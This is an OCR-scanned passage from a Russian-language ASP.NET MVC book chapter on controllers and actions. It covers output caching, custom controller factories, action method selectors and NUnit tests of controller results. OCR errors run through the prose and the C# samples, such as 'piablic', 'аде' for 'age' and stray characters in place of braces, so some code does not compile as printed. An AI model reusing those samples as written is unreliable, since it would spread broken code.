Если вам когда-либо приходилось изучать внутреннее устройство механизмов прежних версий ASP.NET, то вы должны знать, что при перенаправлении с использованием Response. Redirect () выполнение может быть остановлено с генерацией исключения ThreadAbortException. В случае вызова Response . Redirect () вместо возврата соответствующего объекта RedirectToResult из ASP.NET MVC) может показаться, что зто приведет к ненужному срабатыванию фильтров исключений. К счастью, разработчики MVC предвидели зту потенциальную проблему и обеспечили трактовку исключения ThreadAbortException как особого случая. Исключения этого типа скрыты от всех фильтров, так что перенаправления не будут воспринимать его как ошибку.
294 Часть II. ASP.NET MVC во всех деталях
Фильтр действия [ Outputcache ]
Несложно догадаться, что фильтр OutputCacheAttribute заставляет ASP.NET кэшировать вывод метода действия, так что один и тот же вывод будет повторно использоваться при следующем запросе того же метода действия. В результате пропускная способность сервера повышается на несколько порядков, поскольку повторяющиеся запросы исключают почти все дорогостоящие части обработки (вроде обращений к базе данных). Конечно, зто дается ценой неизменности вывода в ответ на каждый такой запрос.
Как и средство кэширования вывода ядра ASP.NET, встроенный в ASP.NET MVC фильтр OutputCacheAttribute позволяет задавать набор параметров, которые указывают, когда следует варьировать вывод действий. Это компромисс между гибкостью (изменение вывода) и производительностью (повторное использование предварительно кэшированного вывода).
Параметры OutputCacheAttribute перечислены в табл. 9.9.
Таблица 9.9. Параметры фильтра OutputCacheAttribute
Имя параметра	Тип	Значение
Duration (обязательный)	int	Насколько долго (в секундах) вывод остается кэшированным.
VaryByParam (обязательный)	string (список, разделенный точкой с запятой)	Заставляет ASP.NET использовать другой элемент кэша для каждой комбинации значений Request. Querystring и Request. Form, совпадающих с ЭТИМИ именами. Можно также использовать специальное значение попе, которое означает “не варьировать по значениям строки запроса или формы”, или *, что значит “варьировать по всем значениям строки запроса и формы”. Если не указано ничего, по умолчанию принимается попе.
VaryByHeader	string (список, разделенный точкой с запятой)	Заставляет ASP.NET использовать разные элементы кэша для каждой комбинации значений, присланных в HTTP-заголовках с этими именами.
VaryByCustom	string	Произвольная строка. Если указана, ASP.NET вызывает метод GetVaryByCustomString() ИЗ Global. asax. cs с этой строкой в качестве параметра, так что можно предоставить произвольный ключ кэша. Специальное значение browser служит для варьирования кэша по имени браузера и старшему номеру версии.
VaryByContentEncoding	string (список, разделенный точкой с запятой)	Позволяет ASP.NET создавать отдельный элемент кэша для каждой кодировки содержимого (например, gzip, deflate), которую может запросить браузер. 0 кодировании содержимого речь пойдет в главе 15.
Location	OutputCacheLocation	Одно из следующих перечислимых значений, специфицирующих, где будет кэширован вывод: server (только в памяти сервера), Client (только в браузере посетителя), Downstream (в браузере посетителя или любом промежуточном устройстве НТТР-кэширования, таком как прокси-сервер), ServerAndClient (комбинация Server и Client), Any (комбинация Server и Downstream), None (без кэширования). Если не указано, принимается значение по умолчанию Any.
Глава 9. Контроллеры и действия 295
Окончание табл. 9.9
Имя параметра	Тип	Значение
NoStore	bool	Если равно true, посылает в браузер заголовок Cache-Control: no-store, инструктируя его не хранить (т.е. не кэшировать) страницу дольше, чем необходимо для ее отображения. Если посетитель позднее вернется к странице, щелкнув на кнопке Назад в браузере, это значит, что браузер должен повторно отправить запрос, что сказывается на производительности. Это используется только для защиты конфиденциальных данных.
CacheProfile	string	Если указан, инструктирует ASP.NET извлечь настройки кэша из определенным образом именованного узла <outputCacheSettings> В web. config.
SqlDependency	string	Если указывается пара имен базы данных и таблицы, это заставляет кэш устаревать автоматически при изменении информации базы данных. Перед тем, как это заработает, потребуется также сконфигурировать средство ASP.NET SQL Cache Dependency, что является довольно сложным процессом, рассмотрение которого выходит за рамки настоящей книги. Подробную документацию ищите по адресу http: //msdn .microsoft. сот/ ru-ru/library/msl78604.aspx.
Order	int	Унаследован от FilterAttribute, но не является важным, потому что OutputCacheAttribute дает одинаковый эффект независимо от того, когда он запущен.
Если вы ранее пользовались средством кэширования вывода ASP.NET, то эти опции должны быть знакомы. Фактически фильтр OutputCacheAttribute — это просто оболочка вокруг основного средства кэширования вывода ASP.NET. По этой причине он всегда варьирует элемент кэша согласно пути URL. При наличии параметров в шаблоне URL каждая комбинация значений параметров вызывает обращение к разным элементам кэша.
Внимание! В разделе “Взаимодействие фильтров авторизации с кэшированием вывода” ранее в главе объяснялось, что [Authorize] имеет специальное поведение, гарантирующее, что неавторизованные посетители не смогут получить важную информацию из кэша. Однако если специально не предотвратить это, то остается возможность, что кэшированный вывод будет предоставлен другому авторизованному пользователю, отличному от того, для которого он изначально был предназначен. Один из способов предотвратить зто состоит в реализации собственного управления доступом к определенному элементу содержимого в виде фильтра авторизации (унаследованного от AuthorizeAttribute) вместо простого принудительного применения логики авторизации, встроенной в метод действия, потому что фильтру AuthorizeAttribute известно, как избежать его обхода при кэшировании вывода. Тщательно выполняйте тестирование, чтобы гарантировать, что авторизация и кэширование вывода взаимодействуют ожидаемым образом.
Внимание! Из-за деталей внутренней реализации встроенный фильтр [Outputcache] не совместим со вспомогательным методом Html .RenderAction (). Можете показаться, что [Outputcache] будет кэшировать вывод только того графического элемента, который визуализируется с помощью Html. RenderAction О , но на самом деле зто не так — он всегда кэширует вывод всего запроса. Чтобы исправить зто несоответствие, загрузите альтернативный фильтр кэширования вывода из блога автора по адресу http: //tinyurl. com/mvcOutputCache.
296 Часть II. ASP.NET MVC во всех деталях
Другие встроенные фильтры
В состав ASP.NET MVC входят еще два готовых к использованию фильтра: Validatelnput и ValidationAntiForgeryToken. Оба они являются фильтрами авторизации, относящимися к безопасности, и рассматриваются в главе 13.
Контроллеры как часть конвейера обработки запросов
Взгляните на рис. 9.9. На нем показана часть конвейера обработки запросов MVC, где запросы сначала отображаются системой маршрутизации на определенный контроллер, а затем этот контроллер выбирает и вызывает один из своих методов действий. К настоящему моменту эта последовательность должна выглядеть достаточно знакомо.
Использует данные	Использует данные
маршрутизации	маршрутизации
для выбора и создания	для выбора и
экземпляра контроллера	вызова действия
Рис. 9.9. Процесс вызова метода действия
Как известно, по умолчанию в ASP.NET MVC для выбора контроллеров и действий используют соглашения.
•	Если RouteData. Values ["controller"] равно Products, то фабрика контроллеров по умолчанию, DefaultControllerFactory, будет искать класс контроллера по имени ProductsController.
•	Базовый класс контроллера по умолчанию использует компонент ControllerAction Invoker для выбора и вызова метода действия. Если RouteData. Values [" action" ] равно List, то ControllerActionlnvoker будет искать метод действия по имени List ().
Во многих приложениях это работает достаточно хорошо. Но не удивительно, что MVC предоставляет возможность при желании настраивать или заменять эти механизмы.
В этом разделе будет показано, как реализовать специальную фабрику контроллеров или встроить специальную логику выбора действия. Наиболее вероятной причиной для этого является необходимость подключения контейнера инверсии управления (1оС) или блокировка доступа определенных типов запросов к некоторым методам действий.
Работа с DefaultControllerFactory
Если не установлена специальная фабрика контроллеров, то по умолчанию будет использоваться экземпляр DefaultControllerFactory. Внутренне он хранит кэш всех типов сборок ASP.NET MVC, на которые ссылается проект (и не только в самом проекте ASP.NET MVC). Эти типы квалифицируются как классы контроллеров в соответствии со следующими критериями.
Глава 9. Контроллеры и действия 297
•	Класс должен быть помечен как publ i с.
•	Класс должен быть конкретным (те. не помеченным как abstract).
•	Класс не должен принимать обобщенных параметров.
•	Имя класса должно оканчиваться строкой Controller.
•	Класс должен реализовать интерфейс IController.
Для каждого типа, удовлетворяющего этим критериям, DefaultControllerFactory добавляет ссылку на него в кэше, помеченную маршрутным именем типа (т.е. именем типа с удаленным суффиксом Controller). При запросе создания экземпляра контроллера, соответствующего определенному маршрутному имени (поскольку оно указано в RouteData.Values["controller"]), DefaultControllerFactory может очень быстро найти этот тип по ключу. После выбора типа контроллера его экземпляр создается вызовом Activator . Createlnstance (тмпКонтроллера) (вот почему DefaultControllerFactory не может обрабатывать контролеры, конструкторы которых требуют параметров) и возвращается результат.
Сложности возникают, когда нескольким классам контроллеров назначаются одинаковые имена, даже если они находятся в разных пространствах имен. Тогда DefaultControllerFactory не знает, экземпляр какого класса необходимо создать, и просто генерирует исключение InvalidOperationException, означающее “The controller name is ambiguous” (неоднозначное имя контроллера). Чтобы справиться с этим, понадобится либо избегать создания нескольких контроллеров с одинаковыми именами, либо обеспечить для DefaultControllerFactory какой-нибудь способ установки приоритетов одних классов над другими. Для определения порядка приоритетов предусмотрено два механизма.
Глобальное назначение приоритетов пространствам имен с использованием DefaultNamespaces
Чтобы заставить DefaultControllerFactory отдавать предпочтение классам контроллеров, определенным в некоторых коллекциях пространств имен, необходимо поместить соответствующие значения в статическую коллекцию по имени ControllerBuilder.Current.DefaultNamespaces.
Например, добавьте в файл Global. asax. cs следующие строки кода:
protected void Application Start()
{
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.DefaultNamespaces.Add("MyApp.Controllers");
ControllerBuilder. Current. DefaultNamespaces. Add ("OtherAssenibly. SomeNamespace ") ;
1
Теперь, если имя желаемого контроллера уникально для одного типа контроллера внутри этих пространств имен, то DefaultControllerFactory выберет и использует этот тип контроллера вместо генерации исключения. Однако если внутри этих пространств имен все равно присутствует несколько подходящих типов контроллеров с одним и тем же именем, исключение InvalidOperationException снова будет сгенерировано. (Не следует впадать в заблуждение, думая, что приоритеты пространствам имен в DefaultNamespaces назначаются согласно порядку их добавления в эту коллекцию: этот порядок не имеет значения.)
Если DefaultControllerFactory не может найти ни одного подходящего типа контроллера в перечисленных пространствах имен, он возвращается к своему обычному поведению и выбирает тип контроллера из любого места независимо от пространства имен.
298 Часть II. ASP.NET MVC во всех деталях
Назначение приоритетов пространствам имен по индивидуальным элементам маршрута
Приоритеты для пространств имен можно также назначить и для использования при обработке определенного элемента RouteTable.Routes. Предположим, например, что шаблон URL admin / {controller}/{action} при выборе контроллера должен отдавать предпочтение пространству имен MyApp .Admin .Controllers, игнорируя остальные пространства имен с идентично именованными контроллерами.
Чтобы реализовать такое поведение, добавьте к элементу маршрута значение DataTokens под названием Namespaces. Добавленное значение должно реализовывать интерфейс IEnumerable<string>:
routes.Add(new Route("admin/(controller}/(action}", new MvcRouteHandler())
{
Defaults = new RouteValueDictionary(new { controller = "Home", action = "Index" }) , DataTokens = new RouteValueDictionary(new { Namespaces = new[] { "MyApp.Admin.Controllers", "AnotherAssembly.Controllers" } })
});
Приоритеты для этих пространств имен будут устанавливаться только во время запросов, соответствующих данному элементу маршрута. Сами зти приоритеты имеют преимущество перед ControllerBuilder .Current. DefaultNamespaces.
Если вместо объектов Route используются специальные подклассы RouteBase, в них также можно обеспечить назначение приоритетов пространствам имен контроллеров. Например, в коде метода GetRouteData () поместите значение IEnumerable<string> в возвращаемую объектом RouteData коллекцию DataTokens:
public class CustomRoute : RouteBase
{ public override RouteData GetRouteData(HttpContextBase httpContext) {
if (выбор для сопоставления с этим запросом)
{
RouteData rd = new RouteData(this, new MvcRouteHandler());
rd.Values["controller"] = выбранный контроллер
rd.Values["action"] = выбранное имя метода действия
rd.DataTokens["namespaces"] = new[] { "MyApp.Admin.Controllers" }; return rd;
}
else
return null;
}
public override VirtualPathData GetVirtualPath(...) { /* и т.д. */ }
}
Создание специальной фабрики контроллеров
Если простой готовый класс DefaultControllerFactory не устраивает, можно заменить его собственным специальным. Наиболее очевидная причиной для этого является желание создавать экземпляры объектов контроллеров через контейнер 1оС. Это позволило бы передавать параметры конст рукторам контроллеров на основе конфигурации 1оС. Пример использования 1оС приведен в главе 3.
Глава 9. Контроллеры и действия 299
Специальную фабрику контроллеров можно создать, либо написав класс, реализующий интерфейс IController, либо унаследовав подкласс от DefaultControllerFactory. Последний вариант обычно более продуктивен, поскольку он позволяет унаследовать большую часть функциональности по умолчанию (вроде кэширования и быстрого нахождения любого типа, на который ссылается проект) и просто переопределить поведение, которое должно быть изменено.
В табл. 9.10 перечислены методы, которые могут быть переопределены в случае наследования от DefaultControllerFactory.
Таблица 9.10. Переопределяемые методы класса DefaultControllerFactory		
Метод	Назначение	Поведение по умолчанию
CreateController( requestcontext, controllerName)	Возвращает экземпляр контроллера, соответствующий переданным параметрам.	Вызывает GetControllerType () и затем передает возвращенное значение GetControllerlnstance().
GetControllerType( controllerName)	Выбирает тип .NET, на основе которого должен быть создан экземпляр контроллера.	Ищет тип контроллера, чье маршрутное имя (имя без суффикса Controller) равно controllerName; подчиняется описанным ранее правилам назначение приоритетов.
GetControllerlnstance( controllerType)	Возвращает актуальный экземпляр указанного типа.	Вызывает Activator.Createlnstance( controllerType).
Releasecontroller( controller)	Выполняет необходимую очистку.	Если контроллер реализует интерфейс iDisposable, вызывает его метод Dispose ().
Для интеграции с большинством контейнеров IoC необходимо лишь переопределить GetControllerlnstance (). Логику выбора типа и очистки по умолчанию можно не изменять, так что остается очень мало работы, которую придется выполнить. В главе 4 рассматривался простой пример создания экземпляров контроллеров через контейнер IoC под названием Castle Windsor.
Регистрация специальной фабрики контроллеров
Для использования специальной фабрики контроллеров необходимо зарегистрировать ее экземпляр в статическом объекте ControllerBuilder. Current. Это должно делаться лишь однажды, на ранней стадии жизни приложения. Например, добавьте следующий код в Global. азах. cs:
protected void Application_Start()
{
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory(new MyControllerFactory()) ;
}
Это и вся регистрация.
Настройка выбора и вызова методов действий
Вы только что узнали, каким образом каркас MVC выбирает класс контроллера, который должен обрабатывать входящий запрос, и как можно изменить зту логику за счет реализации собственной фабрики контроллеров. Это отображено в левой половине рис. 9.9.
300 Часть II. ASP.NET MVC во всех деталях
Теперь перейдем к правой половине рис. 9.9. Каким образом базовый класс контроллеров System.Web.Mvc.Controller выбирает метод действия, который нужно вызвать, и как встраивать специальную логику в этот пропесс? Сейчас вы узнаете о том, что действие и метод действия — в действительности не одно и то же.
Реальное определение действия
До сих пор все определяемые действия были методами С#, и имя каждого действия всегда соответствовало имени метода С#. По большей части именно так они и работают, но на самом деле все несколько тоньше.
Строго говоря, действие — это именованная часть функциональности контроллера. Эта функциональность может быть реализована в виде метода контроллера (и обычно так и есть) или же каким-то иным образом. Имя действия может соответствовать имени метода, который реализует его (обычно так и есть), или же может отличаться.
Каким образом метод контроллера становится действием? Если вы создадите контроллер, унаследованный от базового класса контроллера, то каждый из его методов считается действием, если отвечает следующим критериям.
•	Он должен быть помечен как public и не помечен как static.
•	Он не должен быть определен в Sys tern. Web .Mvc. Controller или в любом другом его базовом классе (сюда относятся ToString (), GetHashCode () и т.п.).
•	Он не должен иметь “специального” имени (как определено флагом I s Spe с i alName в System.Reflection.MethodBase). Это исключает, например, конструкторы и методы доступа к свойствам и событиям.
На заметку! Методы, принимающие обобщенные параметры (например, MyMethod<T> ()), считаются действиями, но при попытке вызова одного из них будет просто сгенерировано исключение.
Использование [ActionName] для указания специального имени действия
Как уже утверждалось, действие представляет собой именованную часть функциональности контроллера. Обычное соглашение MVC Framework гласит, что имя действия берется из имени метода, который определяет и реализует его функциональность. Обойти это соглашение можно, используя ActionNameAttribute, например:
[ActionName("products-list")]
public ActionResult DisplayProductsList()
{
// - - -
}
При конфигурации маршрутизации по умолчанию вы не найдете это действие в обычном URL /имяКонтроллера/DisplayProductsList. Вместо этого URL будет выглядеть как /имяКонтроллера/product-list.
Это дает возможность применения имен действий, которые недопустимы в качестве имен методов С#, как в предыдущем примере. Можно использовать любую строку, которая допустима в качестве части URL. Другой причиной является необходимость создания методов действий, имена которых подчиняются определенным соглашениям, но применение в URL других соглашений.
Глава 9. Контроллеры и действия 301
На заметку! Теперь должно быть понятно, почему обобщенные вспомогательные методы генерации URL из состава MVC Futures (наподобие Html.ActionLink<T> ()), которые генерируют URL просто из имен .NET, не имеют смысла и не всегда работают. Именно потому они не включены в основной комплект MVC Framework.
Выбор метода C# по его возможности обрабатывать запрос
Иногда имеется несколько методов С#, являющихся кандидатами на обработку одного имени действия. Возможно, есть несколько одноименных методов (принимающих разные параметры), или вы используете [ActionName], поэтому несколько методов отображаются на одно и то же имя действия. При таком сценарии платформе MVC Framework необходим механизм для выбора между ними.
Этот механизм называется селектором метода действия и реализуется через класс атрибута под названием ActionMethodSelectorAttribute. Ранее уже использовался один из подклассов этого атрибута — AcceptVerbsAttribute. Этот подкласс предотвращает обработку методом действия запросов, которые не соответствуют назначенному методу НТ ГР. Например:
[AcceptVerbs(HttpVerbs.Get)]
public ActionResult DoSomething() { ... }
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult DoSomething(int someParam) { ... }
Здесь присутствует только одно логическое действие по имени DoSomething. Существуют два разных метода С#, которые могут реализовать это действие, и выбор между ними для каждого запроса производится по-своему, согласно входящему методу HTTP. Подобно всем прочим атрибутам селектора метода, AcceptVerbsAttribute унаследован от ActionMethodSelectorAttribute.
На заметку! Атрибуты селектора метода могут выглядеть похожими на атрибуты фильтра (поскольку оба они являются типами атрибутов), но на самом деле они совершенно не имеют отношения к фильтрам. Взгляните на конвейер обработки запросов: выбор метода должен происходить в начале, потому что набор применяемых фильтров не известен до тех пор, пока не будет выбран метод действия.
Создание специального атрибута селектора метода действия
Создать специальный атрибут селектора метода действия несложно. Просто унаследуйте новый класс от ActionMethodSelectorAttribute и переопределите его единственный метод IsValidForRequest (). возвращая true или false, в зависимости от того, должен ли метод принять запрос. Ниже показан пример реализации атрибута обработки или игнорирования запросов в зависимости от входящей схемы (например, http или https):
public class AcceptSchemeAttribute : ActionMethodSelectorAttribute {
public AcceptSchemeAttribute(string scheme) { Scheme = scheme;
}
public string Scheme { get; private set; }
public override bool IsValidForRequest(Controllercontext controllercontext, Methodinfo methodinfo)
{
var actualscheme = controllercontext.HttpContext.Request.Url.Scheme; return actualscheme.Equals(Scheme, Stringcomparison.OrdinallgnoreCase);
}
}
302 Часть II. ASP.NET MVC во всех деталях
Этот атрибут можно использовать для реализации разного поведения в зависимости от того, поступил запрос по SSL или нет. Например:
[AcceptScheme("https")]
[ActionName("GetSensitivelnformation")]
piablic ActionResult GetSensitiveInformation_HTTPS() { /* Запускается для
запроса HTTPS */ I
[AcceptScheme("http")]
[ActionName("GetSensitivelnformation")]
public ActionResult GetSensitiveInformation_HTTP() { /* Запускается для
запроса HTTP */ }
Совет. Как известно всем программистам С#, методы класса должны иметь разные имена либо, как минимум, разные наборы параметров. Это неудобное ограничение для ASP.NET MVC, так как в предыдущем примере было бы больше смысла, чтобы два метода действия имели одинаковые имена и отличались лишь атрибутами [AcceptScheme]. Это одно из нескольких мест, где основательное использование ASP.NET MVC рефлексии и метапрограммирования выходит за рамки того, что изначально планировали проектировщики .NET Framework. В данном примере зто легко обходится применением [ActionName].
Идея селектора метода состоит в выборе между несколькими методами, которые могут обработать одно логическое действие. Не путайте это с авторизацией. Если цель состоит в том, чтобы разрешить или запретить доступ к одиночному действию, применяйте фильтр авторизации. Формально атрибут селектора метода можно использовать для реализации логики авторизации, но это будет не лучший способ выражения намерений. Это не только запутает других разработчиков, но приведет к странному поведению, когда авторизация не проходит (возвращая ошибку “404 Not Found” вместо возврата на экран входа в систему). Вдобавок нарушится совместимость с кэшированием вывода, как обсуждалось ранее в этой главе.
Использование атрибута [NonAction]
Помимо ActionNameAttribute, в MVC Framework имеется еще один готовый атрибут селектора метода NonActionAttribute. Он чрезвычайно прост: его метод IsValidForRequest () просто каждый раз возвращает false. В следующем примере с его помощью запрещается запуск MyMethod () в качестве метода действия:
[NonAction]
public void MyMethod()
(
}
Зачем это может понадобиться? Вспомните, что общедоступные методы экземпляра в классах контроллеров могут вызываться непосредственно из Веб кем угодно. Если в контроллер необходимо добавить общедоступный метод, который не должен быть открыт для доступа из Веб, то из соображений безопасности его следует пометить с помощью [NonAction].
Это редко может понадобиться, потому что с точки зрения архитектуры обычно контроллерам не имеет смысла раскрывать общедоступные средства другим частям приложения. Как правило, каждый контроллер должен быть самодостаточным, а общедоступные средства должны предоставляться моделью предметной области или какой-нибудь рода библиотекой служебных классов.
Глава 9. Контроллеры и действия 303
Работа всего процесса выбора методов
Вы уже видели, что выбор компонентом ControllerActionlnvoker метода действия зависит от широкого диапазона критериев, включая входящее значение RouteData . Values [ "action” ], имена методов контроллера, атрибуты [ActionName] этих методов и их атрибуты выбора методов.
Чтобы понять, как все это работает вместе, рассмотрим диаграмму, представленную на рис. 9.10.
Необходимо найти метод,
Рис. 9.10. Выбор компонентом ControllerActionlnvoker метода для вызова
Обратите внимание, что если метод имеет несколько атрибутов селектора метода, то они все должны соответствовать запросу, иначе метод не будет включен в список кандидатов.
На рис. 9.10 также видно, что MVC Framework отдает предпочтение методам с атрибутами селектора (подобными [AcceptVerbs]). Такие методы считаются в большей
304 Часть II. ASP.NET MVC во всех деталях
мере соответствующими, чем обычные методы, не имеющие атрибута селектора. Каков смысл этого соглашения? Это значит, что следующий код не приведет у генерации исключения из-за неоднозначного соответствия:
public ActionResult MyAction() { ... }
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult MyAction(MyModel model) { . . . }
Несмотря на то что оба метода предназначены для обработки запросов POST, атрибут селектора метода имеет только второй метод. Поэтому ему и будет отдано предпочтение в обработке запросов POST, а первый метод должен будет обрабатывать запросы всех прочих типов. Однако вместо того, чтобы полагаться на эти малоизвестные соглашения о приоритетах, имеет смысл применить к обоим методам действий селектор [AcceptVerbs]. что значительно облегчит понимание кода с первого взгляда.
Скрытая подробность
Если вас действительно не заботят подробности выбора методов, можете проигнорировать зту врезку. При построении списка методов-кандидатов MVC Framework считает, что метод имеет псевдоним, если С ним связан любой атрибут, унаследованный от ActionNameSelectorAttribute (не путайте его с ActionMethodSelectorAttribute). Теоретически можно было бы создать специальный класс ActionNameSelectorAttribute и затем использовать его для динамического изменения имени метода действия во время выполнения. Большинство разработчиков обычно так не поступают, поэтому предыдущее обсуждение было несколько упрощено за счет предположения, что [ActionName] является единственно возможным атрибутом типа ActionNameSelectorAttribute. Для большинства зто упрощение вполне оправдано, так как зто единственный встроенный тип ActionNameSelectorAttribute.
Обработка неизвестных действий
Как показано на рис. 9.10, если не находится методов, соответствующих определенному методу действия, то базовый класс контроллера по умолчанию попытается запустить обработчик неизвестного действия. Это виртуальный метод, имеющий имя HandleUnknownAction (). По умолчанию он возвращает ответ “404 Not Found” (не найдено), но его можно переопределить, например, так:
public class HomeContrcller : Controller
{
protected override void HandleUnknownAction(string actionName) {
Response.Write("You are trying to run an action called "
+ Server.HtmlEncode(actionName)); // Вывод сообщения о попытке
// запуска неизвестного действия }
}
Если теперь запросить URL /Ноте/Anything, то вместо ошибки “404 Not Found” будет получено следующее сообщение:
You are trying to run an action called Anything
Это одно из многих мест, где ASP.NET MVC предлагает возможность расширения, поэтому можно делать практически все, что угодно. Однако по перечисленным ниже причинам в данном случае зто не то, что нужно делать часто.
Глава 9. Контроллеры и действия 305
•	HandleUnknownAction () не является наилучшим способом получения произвольного параметра из URL (как в предыдущем примере). Для этого предназначена система маршрутизации! Параметры маршрутизации в фигурных скобках намного более выразительны и мощны.
•	Если вы собираетесь переопределить HandleUnknownAction (). чтобы сгенерировать собственную страницу ошибки “404 Not Found”, то не торопитесь, поскольку есть лучший способ. По умолчанию метод HandleUnknownAction () базового класса контроллера вызовет средство специальной ошибки ядра ASP.NET. За дополнительными деталями о конфигурировании специальных ошибок обращайтесь к документации MSDN по адресу http: //tinyurl. сот/aspnet404.
Тестирование контроллеров и действий
Многие части платформы MVC Framework специально спроектированы для поддержания тестируемости. Это особенно верно в отношении контроллеров и действий, вдобавок важно, поскольку зто ключевые строительные блоки приложения. Так что же делает их подходящими для модульного тестирования?
•	Их можно запускать вне контекста веб-сервера (например, в графической среде NUnit). Причина в том, что они обращаются к объектам контекста (Request, Response, Session и т. д.) только через абстрактные базовые классы (например, HttpRequestBase, HttpSessionStateBase), которые можно имитировать. Они не связаны напрямую с конкретными реализациями традиционного ASP.NET (HttpRequest, HttpSessionState), которые работают только в контексте вебсервера. (По той же самой причине вне контекста веб-сервера нельзя запускать страницы ASP.NET WebForms.)
•	Не требуется синтаксический разбор какой-либо HTML-разметки. Для того чтобы проверить корректность вывода, производимого контроллером, необходимо просто выяснить, какой шаблон представления был выбран, и какие значения ViewData и Model переданы. Все зто становится возможным благодаря строгому разделению между контроллерами и представлениями.
•	Обычно даже не придется применять имитации или тестовые дубли объектов контекста, потому что привязка параметров устанавливает “шов тестируемости” между кодом и объектом Request, а система результатов действий помещает аналогичный “шов тестируемости” между кодом и объектом Response.
Если проведение модульного тестирования своего приложения не планируется, то изложенные выше факты могут показаться не особенно существенными. Однако на практике вы обнаружите естественную связь между тестируемым кодом и кодом с ясной архитектурой. Тщательно продуманная тестируемость ASP.NET MVC стимулирует аккуратное разделение ответственности, и это окупается, когда дело доходит до сопровождения.
Для написания модульных тестов не обязательно быть профессионалом в области разработки, управляемой тестами. Просто попробуйте! Да, поначалу это трудно9, но наличие подходящего комплекта тестов превратит ваш код в основу для построения более надежных решений, выделяя те проектные решения, которые были недостаточно продуманы, и почти неизбежно приведет к более аккуратной архитектуре.
9 Писать тесты не всегда трудно, гораздо труднее помнить о том, что их нужно писать.
306 Часть II. ASP.NET MVC во всех деталях
Подготовка, выполнение и утверждение в модульном тесте
Чтобы модульные тесты получались осмысленными и легкими для понимания, многие разработчики следуют шаблону А/А/А (arrange/act/assert — подготовка/действие/ утверждение). Сначала выполняется подготовка набора объектов, описывающих некоторый сценарий, затем производится действие над ними и, наконец, осуществляется проверка утверждения о получении желаемого результата. Такой подход легко переносится на тестирование контроллеров MVC.
1.	Подготовка. Создание экземпляра объекта контроллера (в сценариях IoC конструктору могут передаваться имитированные версии любых зависимостей).
2.	Действие. Запуск метода действия с передачей ему простых параметров и получение ActionResult.
3.	Утверждение. Проверка того, что ActionResult описывает ожидаемый результат.
Имитировать или создавать тестовые дубли для объектов контекста (например, Request, Response, TempData и т.п.) необходимо только в случаях, если контроллер обращается к любому из них напрямую. К счастью, это случается не часто.
Тестирование выбора представления и ViewData
Ниже показан код предельно простого контроллера:
public class SimpleController : Controller
{
public ViewResult Index()
{
return View("MyView");
}
}
С помощью NUnit можно проверить, визуализирует ли Index () желаемое представление:
На заметку! Описание настройки NUnit и создания проекта тестов Tests дается в сносках “Тестирование" главы 4. В частности, для проекта Tests понадобятся ссылки на сборки System.Web.Mvc, System.Web.Routing, System.Web.Abstractions, а также на сам тестируемый проект ASP.NET MVC Web Application.
[TestFixture]
public class SimpleControllerTests {
[Test]
public void Index_Renders_MyView() {
// Подготовка
SimpleController controller = new SimpleController () ,-
// Действие
ViewResult result = controller.Index();
// Утверждение
Assert.IsNotNull(result, "Did not render a view");
// Визуализация представления не выполняется
Assert.AreEqual("MyView", result.ViewName); } }
Глава 9. Контроллеры и действия 307
Имейте в виду, что когда метод действия визуализирует свое представление по умолчанию (просто вызывая return View О), значением ViewName будет пустая строка. В этом случае последний вызов Assert нужно переписать следующим образом:
Assert.IsEmpty(result.ViewName);
Тестирование значений ViewData
Если в методе действия используется структура ViewData, например:
public ViewResult ShowAge(DateTime birthDate) {
// Вычислить возраст в полных годах
DateTime now = DateTime.Now;
int age = now.Year - birthDate.Year;
if((now.Month*100 + now.Day) < (birthDate.Month*100 + birthDate.Day)) age -= 1; // Дня рождения в этом году епт₽ не было
ViewData["аде"] = аде; return View () ;
}
то можно протестировать также и ее содержимое:
[Test]
public void Displays_Age_6_When_Born_Six_Years_Two_Days_Ago() {
// Подготовка
SimpleController controller = new SimpleController();
DateTime birthDate = DateTime.Now.AddYears(-6).AddDays(-2);
// Действие
ViewResult result = controller.ShowAge(birthDate);
// Утверждение
Assert.IsNotNull(result, "Did not render a view");
Assert.IsEmpty(result.ViewName);
Assert.AreEqual(6, result.ViewData["age"], "Showing wrong age");
// Неверный возраст
}
Если метод действия передает представлению строго типизированный объект Model, то модульный тест может обнаружить это значение в result.ViewData.Model. Обратите внимание, что result .ViewData.Model имеет тип object, поэтому потребуется выполнить приведение к предполагаемому типу модели.
Тестирование перенаправления
Если есть метод действий, который выполняет перенаправления, например:
public RedirectToRouteResult RegisterForUpdates(string emailAddress) {
if (!IsValidEmail(emailAddress)) // Реализуйте это где-нибудь return RedirectToAction("Register");
else
{
// TODO: Здесь выполнить регистрацию
return RedirectToAction("RegistrationCompleted");
}
}
308 Часть II. ASP.NET MVC во всех деталях
то можно протестировать значения в результирующем объекте RedirectToRouteResult:
[Test]
public void Accepts_bob_at_example_dot_com()
{
// Подготовка
string email = "bob@example.com";
SimpleContrcller controller = new SimpleController();
// Действие
RedirectToRouteResult result = controller.RegisterForUpdates(email);
// Утверждение
Assert.IsNotNull(result, "Didn't perform a redirection");
// Перенаправление не выполняется
Assert.AreEqual("RegistrationCompleted", result.RouteValues["action"]);
)
[Test]
public void Rejects Blah()
{
// Подготовка
SimpleContrcller controller = new SimpleController();
// Действие
RedirectToRouteResult result = controller.RegisterForUpdates("blah");
// Утверждение
Assert.IsNotNull(result, "Didn't perform a redirection");
Assert.AreEqual("Register", result.RouteValues["action"]);
)
Дополнительные комментарии по поводу тестирования
Теперь вам должно быть ясно, как проводить тестирование для другого типа ActionResult. Просто придерживайтесь шаблона А/А/А — он все расставит по местам. Поскольку все довольно очевидно, специфические примеры для других типов ActionResult приводиться не будут.
Если метод действия возвращает общий ActionResult (вместо специализированного типа вроде ViewResult), тест должен выполнить приведение этого объекта к ожидаемому специализированному типу, а потом проверить утверждения относительно его свойств. Если специализированный тип ActionResult может варьироваться согласно параметрам или контексту, можно написать отдельный тест для каждого сценария.
